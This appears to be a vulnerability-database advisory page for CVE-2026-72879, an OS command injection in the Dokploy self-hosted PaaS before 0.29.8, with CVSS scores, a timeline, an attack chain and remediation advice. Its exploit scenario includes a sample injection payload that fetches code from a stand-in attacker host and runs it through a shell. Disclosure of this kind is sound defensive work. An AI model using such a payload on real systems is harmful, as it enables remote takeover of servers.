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Dokploy CVE-2026-72879

| EUVDEUVD-2026-55745 CRITICAL
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
9.4
CVSS 4.0 · Vendor: GitHub_M
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Vendor (GitHub_M) PRIMARY
9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.9 CRITICAL

Authenticated project user (PR:L) injects commands over the network (AV:N/AC:L); code executes on the host and reaches other containers, so scope changes (S:C) with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Patch available
Aug 10, 2026 - 20:04 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 19:51 vuln.today
Analysis Generated
Aug 10, 2026 - 19:51 vuln.today
CVE Published
Aug 10, 2026 - 19:14 cve.org
CRITICAL 9.4

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.8, the getRegistryCommands() function in packages/server/src/utils/cluster/upload.ts interpolates registry.password and registry.registryUrl directly into a shell command without escaping. An authenticated user with project access can configure malicious registry credentials and trigger a swarm deployment to execute arbitrary OS commands on the Dokploy server, read or modify host files, and access other containers through Docker. This issue is fixed in version 0.29.8.

AnalysisAI

OS command injection in Dokploy self-hosted PaaS before 0.29.8 allows an authenticated user with project access to run arbitrary commands on the Dokploy host. The getRegistryCommands() function in packages/server/src/utils/cluster/upload.ts builds a docker login shell string by interpolating the attacker-controlled registry password and URL without escaping, so malicious credentials are executed when a swarm deployment runs. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Dokploy with project access
Delivery
Set shell payload in registry password/URL
Exploit
Trigger swarm deployment
Execution
docker login command executes injected code
Persist
Run arbitrary OS commands on host
Impact
Read/modify host files and access other containers

Vulnerability AssessmentAI

Exploitation Requires an authenticated Dokploy account (PR:L) with project access sufficient to configure registry credentials and trigger a swarm deployment - this is the exact prerequisite named in the description. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue rather than an inflated high-CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who holds a low-privileged but authenticated Dokploy account with project access edits a registry entry, setting the password or registry URL to a shell payload such as `"; curl attacker/x | sh; #`. When they trigger a swarm deployment, getRegistryCommands() interpolates the value into the docker login shell command, executing the payload on the Dokploy host. …
Remediation Vendor-released patch: 0.29.8 - upgrade all Dokploy server instances to v0.29.8 or later, which replaces raw string interpolation with the safeDockerLoginCommand() helper (see PR https://github.com/Dokploy/dokploy/pull/4579 and commit 1f4f94042f1d874349c42d8ae7fee51346cd086e). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all Dokploy instances in your environment and verify their current versions. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-72879 vulnerability details – vuln.today

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